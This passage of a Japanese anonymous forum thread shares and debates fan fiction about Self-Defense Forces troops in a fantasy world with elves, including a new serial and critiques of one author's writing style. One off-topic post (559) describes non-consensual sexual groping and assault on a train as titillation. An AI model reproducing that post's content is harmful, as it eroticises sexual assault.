見た目は『?』だが、食欲をそそる匂いだ。第二中隊。…同じ戦闘部隊なのだが…ちょっと
上品だ。なんと米が良い。立っている。他の中隊が焦げ目が有るのに対し、ふっくら美味しそう
に長けている。大隊長の心中は…サラダは本管中隊、ルーは第一中隊、米飯は第二中隊だった。
しかし長たる者、我儘は云ってはいけなかった。可愛い部下が心を込めて作ったのだから。

 「ああ、済みません、そちらのサラダとそちらの汁、それとそちらの穀物を頂けますか? 」

 長老が、明るく云った。…何の屈託も無く。大隊長はその日、一日中何故か不機嫌だったと言う。

                               END

196 名前:小官 ◆qG4oodN0QY :04/05/14 00:09 ID:???
即興なので、見苦しくてスマヌ。オチは…許せ。エルフ分が少ないが、以上。

以上わかりにくいギャグ短編終わり

540 名前: 名無し三等兵 2006/07/10(月) 16:57:59 ID:???

249 名前:小官 ◆qG4oodN0QY :04/05/15 10:59 ID:???

 僕達は2重に取り残された。日本にも、友軍にも。僕は神は信じない。でも祈りたくは為る。
夢なら、醒めてくれと。連隊長がいくら謝って呉れても、足りない気がするのは…僕だけだろう。

 「総統閣下がトチ狂う前に、社会の理想を見たのが『戦場』だ! …勝利と云う目的のために、
  各人が己の果すべき責務を担い、一心にただ、戦う! あらゆる階層から志願した兵士がだ!
  一致団結するその姿は、例う物無き美しさを誇る! ただ、間違えたのはな…! 」
 「…負けると解っていても、遣らねばならぬ! 皇道派の日本人しかり、本物の右翼ってのは
  こう、なんかヒロイックな自意識に被れてるんですよ! 最後に割を食うのが巻き込まれた
  人間なんです! 終わらせる事も考えて初弾発射して下さい! 坂崎班長! 」

 義を見てせざるは勇無きなり。勇有る者は必ず仁有り。文句は言っても、僕はこの人の生き様が
好きだ。どんな馬鹿を次は見せてくれるのか? どんな事を矢弾飛び交う中で語って呉れるのか?
 僕は、西 大輔。西2士と散々班長にからかわれ、鍛えられた。WACの駆け足の隊列にワザと
くっ付いて、『さあ、良く覚えとけよお前ら! 娑婆には無い、いいケツだろ? な? 』に始まり
『夜中に便所で射撃する奴! 弾倉空に為ったら明日がキツいぞ! 』等…娑婆ではとても聞くに
耐えない卑猥かつ猥褻な表現が…新教入りたての、当時の僕等の緊張をほぐしてくれた。

541 名前: 名無し三等兵 2006/07/10(月) 16:58:39 ID:???

250 名前:小官 ◆qG4oodN0QY :04/05/15 11:01 ID:???

 「どうせ死ぬなら美しく! ってグロ否定じゃ無いぞ? 生き方って奴だ! 」
 「…ドン・キホーテが常人のアロンソ・キハーノに戻って死んだ様にですか! 」
 「馬鹿! シラノの様に、『誰にも汚されぬ心意気』を持って、さ! 死体を壊せても、
  俺達の信じた理想、気高き魂は汚せは出来ん! 綺麗なまんまあの世に持っていく! 」
 「フーゾク通い『だけ』の達人が今更何を言うんです! …聞きましたよ? 本当の事…」
 「ばれたか…女の子とご歓談してただけだ。誰かの支えに、為りたかっただけさ…」
 
 人間には2通り有る。『馬鹿な人間』と、『馬鹿になれる人間』だ。僕は坂崎班長は前者だと
ばかり思っていた。だが…言動と中身は違うと思い知らされた。こんな状況でも、班長は平然と
している。…ハッキリ云って、僕達特科中隊の全滅は近い。移動速度と踏破能力に難が有り過ぎた
のだ。しかし、坂崎班長は笑っていた。聞けば、『アイツが助けに来てくれるさ』と言っていた。
 アイツ。僕の知っている人は…既に死んだと聞いていた。坂崎班長は僕にだけ、言ってくれた。

 「ホントにアイツが死んだなら、真っ先に俺に報告に来る筈だ。新教前期の班長と教え子の絆ってのはな、
  結構、濃いんだぜ? 西陸曹候補生よぉ? だから、俺は信じない。アイツは生きている。必ずな? 」

 敵が眼前に迫る中、僕達は静かに着剣した後に、また撃ち続ける。僕達の名は残るだろうかと思いながら。

こいつらも本編とやらで でてきそうだがなw

542 名前: 名無し三等兵 2006/07/10(月) 17:02:21 ID:???

小官祭り再びですか! では>>534の好きな路線をコピペw

941 名前:小官 ◆qG4oodN0QY :04/05/26 12:01 ID:???
早メシ後の昼休みだがリクエストに応えよう。

 「…おじさん…? どうして…私達に小銃の撃ち方を今まで教えてくれなかったの? 」
 「…大人の意地、だったのさ。女子供が『人殺し』のことなんて覚える必要など…
  絶対、認めたく無かった。俺達が代わりに手を汚せば済む事だ、と思っていた…」

 開拓村。この『帝国』と日本国との友好関係を示すために作られた、一大農業地域。
『王国連合』では農奴に過ぎなかった彼ら農民が、始めて『自分の土地』を与えられた、
希望に溢れた『約束の地』だ。だが…脱走農民を看過出来なくなった一部の『王国』が
遂に『人狩り部隊』を送り込んで来たのである。我が国政府は楽観的に過ぎ…間に合わせの
『戦闘団』しか配置しなかった。各兵科から一小隊分抽出し、普通科を主力として編成した
『コンバット・チーム=CT』だ。演習で良く編成されたが…実際戦闘で編成されるとは、
世も末だ。敵の数は…我が方の約1.5倍。…自軍兵力では我が方の陣地防衛は出来ても、
奴等の真の目的である『元農奴』やその家族達を守る部隊まで編成出来はしない。


543 名前: 名無し三等兵 2006/07/10(月) 17:03:59 ID:???

942 名前:小官 ◆qG4oodN0QY :04/05/26 12:02 ID:???

 俺達は苦肉の策を取った。戦闘団中の予備銃や砲をかき集め、教官と為れる『真に優秀』な
人材を持って教育に当たらせ、襲撃予想日までに『撃てる』様にする事。文にすれば一行だが、
普通、数週間、数ヶ月に渡って教育すべき事を2週間で詰め込まなければ為らなかった。
 教官と為った俺達、陸自の曹連中は互いに顔を合わせれば、言ったものだった。

 「…なあ、『新品三尉』より使える奴等が多いじゃないか? 仕込み甲斐が有るな」
 「冗談! 俺だったらこの状況こそ恥じるね! …自衛隊の存在価値が全く無い! 」
 「…守るべきものに銃を取らせる俺達は…きっと地獄の鬼も許さないだろうな…」
 「違いないわ…きっと、泉下の『帝国軍人』の先人達に説教されるでしょうね! 
  何のために死んだと思ってる! とか、鬼よりコワイ顔して叱られるかもね…」

 官僚も逃げた。教育者も逃げた。役人も逃げた。入植者も逃げた。文字通り、俺達陸自が
日本国の代表と為った。…俺達の戦闘団からは何故か脱走者が『一人も』出なかった。普通科
連隊長の訓示が奇跡的に効いたのだろう。何気ない言葉が『覚悟』を促す効果も有る。
 日頃『信楽焼きの狸』とか言われていた奴の訓示だったが…その時何故か、心に沁みた。

544 名前: 名無し三等兵 2006/07/10(月) 17:04:52 ID:???

943 名前:小官 ◆qG4oodN0QY :04/05/26 12:03 ID:???

 『逃げる者は停めん。しかし、我々まで逃げれば、誰が彼らを守る?彼らだけでは無い。
  後方には同様の開拓村が多数存在している。当然、日本人も居るのだ。…我が連隊が
  現代の『良識有る正しき日本人』の姿を見せる事によって、信頼関係を磐石の物として
  見せようでは無いか! 捨石残地多いに結構! 諸官! 陸自の歴史に名を残そう! 』 
 
 ここまで言われて、逃げようとか逃げるとか言う勇気のある自衛官は、正直、居ない。まあ、
単に周りの雰囲気を気にして言い出せなかったに違い無いだろう。今の心境は、来るなら来いだ。

 「おじさん、あの土煙…もしかして…あれが…全部…? 」
 「そうだ! おいでなすったか! 特科小隊に連絡! 砲撃開始と伝えろ! 」

 伝えるまでも無く、視認した向こうが砲撃を開始した。俺達は『良き軍人』には遂に為れなかった。
『真に守るべき者』に『人殺しの道具』を扱わせたのだから。だが、それは死を以て償えるだろう。
その時始めて、俺達『日本国、陸上自衛隊戦闘団の自衛官だった日本人』は『良き隣人』と為るのだ。

廃品と呼ぶには惜しいですが廃品回収終了ですw

545 名前: 名無し三等兵 2006/07/10(月) 17:06:22 ID:???

やめろー! もうたくさんだやめてくれー! 小官を召喚するなよー

546 名前: 名無し三等兵 2006/07/10(月) 17:36:16 ID:???

こうして見ると小官SSがヲタに嫌われる理由がわかったw

 漢 字 分 量 と 情 報 量 が 非 常 に 多 い

こりゃラノベやエロゲテキストに為れたヲタはひきつけ起こすわw

547 名前: 名無し三等兵 2006/07/10(月) 17:51:50 ID:???

エルフのシーナに激萌え。

346 名前:小官 ◆qG4oodN0QY :04/08/12 13:37 ID:???

 「いらっしゃいませっ! 何かお探しですか? 」
 「ぬおぅっ! アンタ誰だ?! いつものオバちゃん、何処へ行ったんだよっ! 」
 「…え〜と、高田さんなら…実家に帰りましたけれどぉ…」

 駐屯地。一般人の姿を捜すのも難しいこの敷地の中で、唯一常駐を許された区画が存在する。それは、購買区画。
直営売店、民間業者の売店、喫茶店、時計屋、床屋等…駐屯地で生活する隊員達のオアシスとも言える区画の事だ。
 ゲーセンまであったりするのだが…置かれるゲームがその…更新されないのがミソだったりする。ましてや、この…
『ニッポンを遠く離れた帝国最辺境部に位置する駐屯地』と来ればなおさらだ。

 「あんた…ええと…誰ちゃん? なんで此処に居るの? 誰が入れたんだこんなの? 警衛仕事してんのか? 」
 「この名札…見えませんか? このたび現地採用になりました、シーナですっ! 」
 「高慢チキチキなエルフが店員なんぞやれんのかよっ? プンむくれる前に森へ帰れ! 」
 「ひっどぉーい! 今日が初出勤なのにぃ! そういう貴方は誰ですか! 失礼な! 」
 「ほーら地が出やがった! オレは客だぞ、客? ああ、名乗ってやる! 聞いて驚け! 第20偵察大隊第一中隊
  陸曹候補士2等陸士羽馬田幸太郎! さあ、言って見ろ! 」
 「第二十ていさちゅだいた…」
 「プッ! 舌噛んでやんのー! ばーかばーか!」
 「…どうしてこんな所にいるんですかぁ! みんな仕事なのにぃ! 」
 「警衛明けなんだよ! そんな事も…って…待て! アンタどっから入ったんだ! 今日裏門閉鎖してるしっ! 」
 「ひ・み・つ(はぁと)」
 「駐屯地の植え込み使ったな! 警衛所まで一緒に来い! この…! 出入管理舐めんなゴラァ! 」
 「ひっはらないへくらはい、はなひてくらはい、いらい、いらいれすぅ〜!」

 シーナの仕事は前途多難であった。駐屯地に起居するほぼ総ての隊員が殺到する昼休みまで…あと僅か。


548 名前: 名無し三等兵 2006/07/10(月) 19:06:51 ID:???

>>546
うまく伝えたい事纏められないだけじゃね

549 名前: 名無し三等兵 2006/07/10(月) 19:11:10 ID:???

感嘆符やカギ括弧が異様に多いのも敬遠される原因だな。あと、三点リーダも。

550 名前: 名無し三等兵 2006/07/10(月) 19:18:58 ID:???

>>548
だな。
自分の抱くイメージを披露したい気持ちが先行し過ぎてる。



551 名前: 名無し三等兵 2006/07/10(月) 20:37:53 ID:???

>>546
こんなので漢字量や情報量が多いと思ってる君
軍事関係の書物読んだことがないのか?
どんなにヘボイ本でも桁外れにこれの倍以上の内容だぞ?

というか、物書きなめるな。たとえそれがエロゲ畑の人だとしても名
ほかの作者様に比べりゃ説明口調だしそりゃ文字数も増える
エロゲにしたって、型月系などをはじめとする物語性の強い話は
桁違いに文字量が多い品

しょうかん氏の話が敬遠されるのはアクが強い割には説明が下手だからでしょう
いくらネタが面白くて人間性を正しく描写できていたとしても
読む人間がその話に共感、又は納得でき無ければ、読み物としては未熟だもの

などと釣られて見たが面白くも無いので以後いつものようにw

552 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/10(月) 20:55:46 ID:???

小官殿が大人気と聞いて急いでかけつますたー
んーw小官殿の人気に嫉妬なのれす!(とりあえずsageー)

553 名前: 名無し三等兵 2006/07/10(月) 21:20:45 ID:???

病人かこいつは?

554 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/10(月) 21:29:19 ID:???

じゃあついでなので私もチラシの裏。

小官殿の最新作の小川氏は魅力度満点ですえ。

アンチな人はまあ、
小官殿のヒーローに近親憎悪みたいの感じているのかも、とか。
翡翠にはたまたま、よく合う。
合わない人は、たまたますんごい合わない。 そんだけ。

まあ小官殿マンセーの翡翠でも、
自衛隊内の隠語や呼吸はワカランので、
そこらへんのパートは残念ながらあまり味わいきれていないのですが。

555 名前: 名無し三等兵 2006/07/10(月) 21:48:43 ID:???

>アンチな人はまあ、
>小官殿のヒーローに近親憎悪みたいの感じているのかも、とか。
>翡翠にはたまたま、よく合う。
>合わない人は、たまたますんごい合わない。 そんだけ。

そんなことはないよ
レス読んだ人の主観の問題だから人に言われたところで解るもんじゃないだろうけど

556 名前: 名無し三等兵 2006/07/10(月) 22:03:13 ID:???

日本移転が異世界側の人為的、作為的なものだったとしてさ、
その理由が何で有れ、移転により日本国民、企業が受けた損害の責任を追及して
なんらかの形で賠償して貰うこともできるの?

557 名前: 名無し三等兵 2006/07/10(月) 22:14:28 ID:???

>>556
空気嫁

558 名前: 名無し三等兵 2006/07/10(月) 22:18:01 ID:???

空気読むの必要があるのは
>>536-555

559 名前: 名無し三等兵 2006/07/10(月) 22:18:48 ID:???

セーラー服で満員電車に乗る因果きゅん(*´Д`)ハァハァ
車内でお姉さんからティンコをしごかれる因果きゅん(*´Д`)ハァハァ
射精してしまい恥ずかしさのあまり泣き出してしまう因果きゅん(*´Д`)ハァハァ
停まった駅で下車して女子トイレでお姉さんにたっぷりと掘られる因果きゅん(*´Д`)ハァハァ

560 名前: ◆YXzbg2XOTI 2006/07/10(月) 22:28:25 ID:???

漢字量が特別多いとは思わないけど情報量は多い気がする。

自分の印象では「無駄に暑苦しい」「要らなく説教臭い」「見下し視点が多い」
「台詞が無駄に長い上に演説みたいな口調・文体で書く」
「>>547のコピペに代表されるようにカギカッコカギカッコ閉じの台詞だけ
で状況や仕草の描写を間に入れないゲーム・3流ラノベ的な文章が多い」

>>551
軍事関係の本は資料であり解説本であるから文章の情報量多くて当たり前だけど
小説・読み物としてみた場合、異様に情報量が多いのは敬遠される傾向にあるけどね。

説明が下手というのは同意。 描写が苦手なヒトほど「」付きの台詞だけの文章を書きがちになる。
(ギャグやコメディな路線の作品や、あえてそういう場面を入れるときは例外として)

561 名前: ◆YXzbg2XOTI 2006/07/10(月) 22:38:45 ID:???

というか小官殿は未熟な文章書きが陥りやすい
「説明しようとして文章が長くなりすぎる」と
本当の下手糞が頼りがちな
「台詞だけで仕草や情景描写なしで話を進める」
の両方をやっている点が…(ラノベやエロゲテキストにも多いけどね)
後者は本人は「あえて」そういう書き方でやっているとも
受け取れなくも無いけど。

あとはごくたまにだけど「…」を要らなく多用していることもあること。
効果的に使うと良いけれど使いすぎると今度は歯切れの悪い
文章みたいに見えてくるから物書き諸氏は注意されたし。

以上、小説雑誌とかの小説の書き方講の受け売り。

562 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/10(月) 22:45:33 ID:???

わたしも説明メンドイときは“”『』つかいますの。うん。
でも、まあ、その「暑苦しいw」部分にハマるとー

猫にまたたび状態ですの。そういう作風ですかと。

563 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/10(月) 23:00:27 ID:???

見下し視点、演説調長台詞も、慣れてしまうと魅力の1つでありあす。
というか、それが小官殿固有の強烈なキャラクターとして光り輝きますの。

余人には、かなり真似できない。

でも、まあ、人を選ぶ作風だとは思います。

実際、「小官殿の作品」で、なければ
果たして翡翠も2度以上読み直せたかどうか。(なれてしまえばヘニャーですが)

たまたま翡翠は、
アムロや、サッキュバス娘や、最新作がど真ん中ストライクだった訳ですが。

564 名前: 名無し三等兵 2006/07/10(月) 23:41:04 ID:???

確かに言えてる。どんな小説だって、いいものは必ずありますからね。

スレ違いだが、分家の星国に感動した。

565 名前: 名無し三等兵 2006/07/11(火) 00:08:52 ID:???

つか、分家の他の作者の勢いも凄い。

Fスレはかなりの猛者が潜伏している。

566 名前: 名無し三等兵 2006/07/11(火) 13:26:51 ID:???

>>560-561
貴様が言うことではないなと思いますた
完璧なSSをどうか分家に上げてください
ここだとスレがよごれますので

567 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/11(火) 16:30:47 ID:???

ん、もう・・・また無茶を言われなさる。

「この流れ」での
Y殿の >>560-561 発言レスは、援護射撃でしかないでせうに。
まあ、>>566 氏も「この流れ」の相対化に必要でしょうけれど、
コテ明記でフォローに出現したY殿にデコピンかますのは、どうかと。

んで、SSを批判する者は
「より良いと信じるSS」を作成して見せるべき、というのは同意。

で、翡翠だと
小官殿のような生命力溢れるキャラ創造&SSはとうてい無理。
( マンセー理由はそればかりではありませぬが )

つか翡翠は☆w
括弧がどうの、3点リーダーがどうの、芸風がどうの、
など、どーうでもよくて、
(全部自己本位に脳内意訳w)
普通に早くY殿(ほか古参の方々の)のSSの続きが早く読みたいので、
また定期的に続きが読める様になってほしくて仕方無いでありますね。


568 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/11(火) 16:48:15 ID:???

つか、ここは軍板(お客様含む)住人中の、
自衛隊&自衛隊装備で(を)
F世界を(で)「 シュミレしたい & 想像してみたい 」
と、ゆー人のためのスレのはず。

ゆえに、
玉(古参)石(翡翠wとか素人さん)混合でOKのはず。

問われるのはシュチレの改善点(のアドバイス=ヒント)くらいで、
( 50トン戦車が沼沢地帯で暴れるのは無理、とか、熱砂での運用は「?」とか。)

文法その他は、
素晴らしい筆致を見せる才人の方の才におまかせして、

より多くの人の「 想像・創造・智慧 」が読めれば、それで(゚∀゚)イイ!のでわ。


569 名前: 名無し三等兵 2006/07/12(水) 00:41:13 ID:???

>>568
アンタいい人だな
スレの一服の清涼剤だ
最初に悪く言ってスマンカッタ
これからもGとSのお荷物2人をヨロシク頼む

570 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/12(水) 01:56:20 ID:???

御返事は望まれてないでしょうけれど・・『 敬礼 』
ああ、でも 568 は
Fスレ46代に、乗っけて貰っているだけなので・・

むしろ 568の此方から
得難く貴重な御2方を宜しくお願いしますなのです。
46代(45代)の切り札『矛と盾』の両名なのです。

(////)>”私はこれにて隣のスレに戻ります・・それでわ・・

※朝までに間に合えば1つ、SS投下してゆきます。


571 名前: ロードス・キャンペーン(1) ◆PujjQOi5D. 2006/07/12(水) 05:28:39 ID:???

夜の風が、
エルフの少女の黄金の髪を美しくなびかせている。

月の夜の空の下、
白馬にまたがる美しいエルフの少女・・・

( なんとも絵になるものだな )

後ろからその姿を見ていると、1瞬だが、見とれてしまう・・

・・大変『 稀 な 』幸運に恵まれて、
この世界の人間勢力との交渉の『 機 』を得た今井は、

この世界と、
この世界に飛ばされてしまった20万を超える市民と、
万を超える自衛隊の、

その命運の鍵を握るに至った。

しかし、それもこれも、
この美しいエルフの少女に愛されし勇者・ソーンを、
無事、自衛隊の生き残りの幹部にまで、引き合わす事ができれば、なのだが・・。


572 名前: ロードス・キャンペーン(2) ◆PujjQOi5D. 2006/07/12(水) 05:31:57 ID:???

今井は、
世界や飛ばされた人々の生命のため、なぞと、
1人、悲壮ぶる気は毛頭なかった。

ただ、( なんとかしなくては・・ )

今井を動かしている原動力は、言ってみれば『それだけ』であった。


573 名前: ロードス・キャンペーン(3) ◆PujjQOi5D. 2006/07/12(水) 05:44:39 ID:???

そんな今井が数奇な運命に導かれて、
死霊満ちる戦場に倒れていた2人の少年少女を助け、やってきた陣営、は。

破滅の戦場から、
辛うじて逃げ延びる事が出来ただけにすぎない、
傷つき、脅えに脅えた、哀れな、哀れな子羊の群れに過ぎなかった。

― 無理も無かった。

自衛隊の歴史始まって以来の、
初めての『本気全力の』攻撃により、
10万を号した軍勢の99%までを失い、文字通り全滅寸前であった彼ら。

今井がいた21世紀日本の世なら、
『 核戦争 』をこの目で目撃してしまった
『人類史上で、最も悲惨な運命を背負わされた人々』と言った所だったろう。

そんな敗戦と敗走の余燼冷めやらぬボロボロの軍隊の陣営の中で、
ひときわ際立って、全く異質な雰囲気を漂わす男が1人、いた。

今井は、その男の名も、経歴も、知らない。
その男は、この世界では後に、札付きの災厄となる『ハズだった』男だった。


574 名前: ロードス・キャンペーン(4) ◆PujjQOi5D. 2006/07/12(水) 05:47:52 ID:???

男はその時はまだ、
やつれ、うなだれ、見る者総てに、
不快と警戒の印象を与える暗い目をした1人の貧相な盗賊にすぎなかった。
― それだけなら、
どこの世界にも掃いて捨てるほどいるのだが・・
だがなぜか、その男は、
その時の最初から、今井の目にやたらと、目立って印象的であった。

男の名は、ロック。
この男もまた、その時から本来の運命よりも、数奇な運命を辿る事となる。


575 名前: ロードス・キャンペーン(5) ◆PujjQOi5D. 2006/07/12(水) 06:05:44 ID:???

不思議な光景であった。

今井とともに、
剣士ソーンとエルフの少女が陣営にたどり着いたとき、
あれほど生気のなかった敗残の軍が、急激に光り輝き、沸き返ったのであった。

敗残の軍の中で、
最初に劇的な反応をしたのは、砂漠の王 その人であった。

憔悴しきっていてもなお、
ひときわ輝かしい光彩を周囲に放っていた砂漠の王が、
生還した2人の姿を認めるや、
この2人の少年少女の生還を、
その雄雄しい声で喜び、叫び、彼らを抱き上げ、その生還を祝福したのであった。
そして王に少し遅れて・・死に体だった彼ら全軍が沸き返った!!!

そこにいた総ての男達が わあ、と歓声を上げて、
王と王の抱き上げる2人に駆けより、王もろとも胴上げし、その生還を心から喜び、祝いだしたのであった。

― こんな、こんな喜び方なんて、ワールドカップのどの番組でも見たことがない!!


576 名前: ロードス・キャンペーン(6) ◆PujjQOi5D. 2006/07/12(水) 06:12:05 ID:???

今井が仰天するのも無理は無かった。

後の話によると、この剣士ソーン、
先の戦場において、光の王と砂漠の王、そして生き残りの全軍を逃がすために、
少数の旗本を率いて自衛隊の戦車の群れに突っ込んでいったという。

当然、エルフの少女は、気も狂わんばかりにソーンの後を追ったのだろう。

勿論、砂漠の王も、
この1人の騎士(とその旗本)の勇気ある行動に我を忘れて、
彼もまた戦車部隊へ向けて駆け出していたのだが、
これは側近と近衛兵によって取り押さえられたという。

「 われわれが今あるのは、この2人の御蔭なんだ 」

白いターバンを巻いて、
精悍な顔に美しい髭を生やしたこの偉大なる王は、
まるでイタズラっ子のように満面の笑みで2人を抱き寄せ、
白い歯を無警戒に覗かせて少年の様にニカッと笑ってみせるのであった。

そして、そんな王の逞しい腕の中で、
2人の少年少女も、どこか照れくさそうに・・驚きながら微笑んでいた。

そしてそれを、周りの全軍が、祝福していたのであった・・。


577 名前: ロードス・キャンペーン(7) ◆PujjQOi5D. 2006/07/12(水) 06:23:12 ID:???

そんな中で。

ただ1人だけ、
何か2人に祝福の言葉をかけかけて・・それをする間もなく、
集団の輪の中に埋没していった2人の少年少女を・・遠くから見つめ、

やがてほぞを噛み、
後ろを向いて、人知れずその場を立ち去っていった男が、いた。

盗賊のロックであった。
それが、今井が彼を見た最初の光景であった。

その男が、今井の目の前に、いる。

戦場の闇の中、
ぱちぱち、とはぜるかがり火に照らされたその男の後ろ姿は、
世にも寂しそうに見えるのであった。

男の右側面にある、
白い皮のテントにゆらゆらとゆらめくその影も、
どこか酷く悲しげにゆらめいて・・見えるのであった。


578 名前: ロードス・キャンペーン(8) ◆PujjQOi5D. 2006/07/12(水) 06:31:35 ID:???

・・・男は、周りに誰も居ないと思っていたのだろう。

陣営の1番の外れ、
人気の無いこの1角の、更にその裏手のテントの影で、

その男・ロックは、
ただ肩を落とし、うなだれ、長い溜息をはいて、ボソリボソリ・・と、呟いていた。

「 ― 何で、ソーンばかりが 」

必死の戦場から生きて帰ってきた少年少女の帰還に、
傷ついた兵士達までもがその傷に負けずに奮い立ち、盛り上がるのを、
何か、とても眩しいものを見上げるように、うめいていた、あの男。

その男が、巨大な灯りに背を向けて、ボソリボソリと呟き続けていた。

「 ― 何で、ソーンばかりが 」


579 名前: ロードス・キャンペーン(9) ◆PujjQOi5D. 2006/07/12(水) 06:51:18 ID:???

風に煽られて、かがり火の火の粉が舞い上がった。
火の粉は、まるで男の鬱屈を燃え照らす様に、
その男の周りで舞い狂い、火の雨の様に降り注いでいた。

「 ― そこに居るのは、だれだ? 」

不意に男が、振り返りもしないで、ゾッとするような声を発した。
「 誰でもあるし、誰でもない 」
・・この手の場面に慣れているのか、今井の返答はいたって気の無い返事。
「 ― 見たな?・・聞いたな? 」
「 ・・俺の惨めな姿を・・俺の惨めな声を 」
今井の気の無い返事に、まるで、血を吐くような震えるばかりの憎悪を込めて、男がうめいた。
そしてすらり、と得意の得物らしい短剣を音も無く抜き放ちながら、
不吉な光に目をギラつかせて、うつむきながら、ゆっくりとこちらに振り返ってくる。
「 で、食うか? 」「 ― ? 」
相も変らぬ気の無い返事に、まるで予想外の答えをよこす今井。
そんな今井に男は、その予想外具合の分、深く深く鼻に皺寄せて、
その予想外の答えを発した存在をよくよく見極めようと・・不信げに目を細めている。
今井が男の鼻ずらに突きつけたのは、さっきの騒動で失敬してきた鳥の串焼きであった。
「 うまいぞ?食わぬなら俺だけ食うが? 」「 ・・・・ 」
男の目の前には、旨そうに湯気と香りを撒き散らす鳥の串焼きだけがあった。
元の運命では、この世界に新たな災厄をもたらすハズだったこの男、ロックが、
元の運命よりも、遥かに数奇な運命を辿る事になる事になった逆転劇の、始まりであった。


580 名前: 投下終了 ◆PujjQOi5D. 2006/07/12(水) 06:56:25 ID:???

乱筆誤字脱字、肝心の自衛隊描写が2行もない、
などダメダメであ ありますが、とりあえず投下終了でございまする。

581 名前: 名無し三等兵 2006/07/12(水) 10:13:37 ID:???

発掘戦艦シリーズ、これも小川モノか?

382 名前:小官 ◆qG4oodN0QY :04/08/13 12:22 ID:???

 「…帝国では無く、『日本国』へ帰順するの…ですか? 」
 「そうです。ですから…この…わた…妾が逝くのです。帰順が我が王国の総意である事を示すために…」
 「帝国に帰順すれば…国内に駐留する昨日までの味方から略奪の危険が有るから…ですね? 『姫様』? 」
 「!!…は…はい…あの…そのっ…! …ごめんなさい…。気を附けます…」
 「そこで謝るから…咎めては居ません。もう少し、堂々として下さい…ああ、謝らなくても結構です」

 俺は噴き出しそうに為るのを必死に堪えた。モノ言いが丁寧に過ぎる。一人称も、無理をして変えている。
この世界独自の言語なのだろうが、『転移』した俺達には、ニュアンスまで変換されて何故か『理解可能』だ。
 世界の心憎い『配慮』とも言えるだろう。尉官の俺は英語と独語以外は守備範囲外だ。鼻がかった発音を
するおフランス語は正直、性に合わない。ガチガチに堅い独語の方が…話すには楽だ。第一、英語と大体、
学習する『ツボやコツ』が同じだから、楽が出来る。だが…学習する必要が無い言語は…正直、始めてだ。

 「あのなぁ…化けるツモリなら、も少し、偉そうにな? 王族ってモンは、えばってナンボなのよ? 」
 「姫様に無礼な口を訊くな! …いや…訊かないで下さいませ、この下…いえ…オガワ…様っ…! 」
 「とまあ、解り易い反応有難う、ただの端女サン? アンタもだよ…。演技する時は心から演らないと
  ウソ臭く見える。気を附けろよ? 何処で誰が見ているかワカランからなぁ? ですよね、塙2尉? 」

 たった2名の『護衛』と云う少なさが、日本国のこの国に対する関心の低さを示していた。付けてやっただけ
有難く思え、と云わんばかりのこの仕打ちに、何故か『端女』の方が『姫様』より烈火の如く怒っていたのは…
苦笑するしか無い。一人称が変わっている事も忘れて罵っていた位だ。奉仕されて当然。王族の王族たる所以だ。


582 名前: 名無し三等兵 2006/07/12(水) 10:14:23 ID:???

383 名前:小官 ◆qG4oodN0QY :04/08/13 12:33 ID:???
 俺達を送り出した『幸島1佐』は言ったものだ。『俺達2名が共に居る事』で日本国の面目が保てるのだと。 

 『…『穴』出身者を君に附けた。それが責めてもの私の親心で有り、本土の思い遣りだ。喜べ。以上だ』

 『穴』。風の噂には聞くが…それは果たして本当に存在にするのかどうか…俺にはとても信じられなかった。
『穴』が噂通りの所ならば…そこで生き残ったと言う、この男の『明るさ』と云うか『馬鹿さ』が…耐えられん。

 「はーなーわーにーいっ! 一時方向に騎影5騎! ミルで言やあ800ミル、距離1千! 見えてますね! 」

 しかし、実力は有る。それは認めよう。…俺達がここまで生き残って来たのも…『半分は』…奴の御蔭だろう。 
もう半分は、俺の判断力に大きいと自負している。しかしこの娘達を本国まで送り届ける意味を…俺は見出せ無い。
 日本は文明国だ。人を貢ぐと言う行為自体、良識を以て自認する各マスコミの創り出す『国内世論』は嫌悪する。
『奴』は言った。『大方『外交使節』でOKなんじゃないんですかねぇ? 真相はいつも闇の中ぁ〜ん』と…。
…深く考えるのは良そう。今は…護衛こそ、俺に与えられた『任務』なのだ。遂行こそ、最重要課題なのだ!

 「…振り切れんか? 小川三曹」
 「…アンタ馬鹿ですか? 小型翼竜に乗ってる奴等を馬と高機動車でどう振り切るんですか? キャリバー50、
 使えませんか? 死ねオラ! 退けオラって感じで! ダメ? つかえねー幹部だなぁ、オイ! きょうび…」
 「なら貴官がやれ! Dr.は俺がやる! 」
 「泥濘に突っ込ませたのは何処のドイツだこのド阿呆! そこの女連中でも守ってろ! 能無し! 」

 原隊で今まで会った陸曹がどんなに紳士的で、どんなに俺に対して遠慮して来たか…こいつと一緒に旅をして
始めて理解出来た気がする。コイツはいつも本音で生きている。言いたい事を言う。…羨ましい生き方をしていた。

583 名前: 名無し三等兵 2006/07/12(水) 10:15:11 ID:???

703 名前:小官 ◆qG4oodN0QY :04/08/21 20:42 ID:???
>>383
 追っ手は何とか振り切った。…我が方も行動不能に陥ってしまうとは、正直俺は夢にも思わなかった。

 「大体、三日間程度の不眠不休で80km行軍しただけの奴がな、この俺に訓戒垂れるなんざ笑止だね」
 「…オガワさん…ハナワさんをそんなに…酷く言わないで…? 御願いだから…仲良くして…」
 「ハン? 惚れたか? この能無しにか?! 何にもデキねークセに偉ぶってるだけのこのアホに?
  …って顔赤くすんなよ…。勿体ねー! アンタの方がよっぽど上等なんだぞ? 解ってるのか?! 」

 エンジンルームに頭を突っ込みながら、小川三曹は俺の事を貶し続けていた。彼にしてみれば当然だろう。
尉官の俺は、車両の整備の知識や技術も彼とは違い、持たないのだから、黙ってそれを見ているしかな… 

 「言いたく無かったがな…殺すぞテメェ! この娘等を好い加減に見習ったらどうだよ! 周辺監視
  すら忘れてるだろ! 敵はどっからでも来るんだぞ! 俺は今、銃すら使えん! この娘達もだ!
  そんな思考の柔軟さの欠片も無い! 防大や陸自で何を学んできたんだ?! アァ?! コラァ!! 
  文句が有るなら自分のやる事をやってから言え! 今日日、最近入隊の二士の方がまだ使えるぞ!」

 俺が小銃の握把を握り締め、銃口を向けようとした途端…スパナが飛んで来たのを最後に…俺は意

584 名前: 名無し三等兵 2006/07/12(水) 10:15:52 ID:???

識を失った。

704 名前:小官 ◆qG4oodN0QY :04/08/21 20:47 ID:???
